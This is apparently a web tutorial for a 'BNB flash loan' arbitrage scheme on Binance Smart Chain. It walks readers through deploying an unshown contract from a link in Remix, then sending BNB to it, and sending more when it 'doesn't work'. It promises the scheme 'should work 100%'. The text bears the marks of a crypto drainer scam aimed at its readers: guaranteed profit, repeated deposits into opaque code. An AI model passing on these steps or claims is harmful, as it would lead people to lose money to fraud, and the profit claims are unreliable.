BNB Flash Loan is a type of decentralized financial service available on the Binance Smart Chain (BSC). It enables users to borrow and utilize a significant amount of BNB (Binance Coin) within a single transaction, without requiring collateral. Flash loans are typically used for arbitrage, trading, or executing complex strategies that capitalize on temporary price differences across various platforms.
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser 2. Open 👉https://remix.ethereum.org/ from within your browser. 3. Click on File Explorers and click "Create New File ". 4. Name the file flashloans.sol and paste the contract code link below.
5. Click on Deploy & Run transactions and set "ENVIRONMENT" to (Injected Web3) OR (Injected Provider - MetaMask). 6. Connect your MetaMask wallet. 7. Click on the "Solidity Compiler" and set the compiler version to 0.5.0 8. Click on the Solidity Compiler and then click the blue button "Compile flashloans.sol" 9. Wait for the code to compile. 10. Click on Deploy & run transactions then click on the down arrow right from the "Deploy" button 11. 👉 On "_TOKENNAME" MyToken 12. 👉 On "_TOKENSYMBOL" LOP 13. 👉 On "_LOANAMOUNT" 1000 14. Click Transact and confirm the transaction in MetaMask. 15. Wait for the transaction to confirm. 16. Copy the address of the newly deployed contract. 17: Send BNB to the deployed contract to initiate the swap 0.15 BNB (0.4 BNB up is better as you will get a bigger amount in each swap) ➡️ NOTE: UPDATED GAS AMOUNT FEE REQUIREMENT: 0.15 BNB - 0.8 BNB is required to perform arbitrage successfully depending on gwei.
18. Wait for the transaction to confirm. 19. Now, Click "action" (red box) to execute the Flash Loan. 20. Confirm the transaction in MetaMask and wait for the confirmation. 21. You can now check your wallet
Note: if it doesn't work with 0.15 BNB try to send another 0.15 BNB (0.80 is better), because fees may be different from day to day. (0.15 BNB for each 500 BNB you are borrowing)
Avoid using very low amounts as contract may fail below 0.15 BNB
Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time. Don't panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 500 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure to transfer your BNB out to another wallet when you're done.
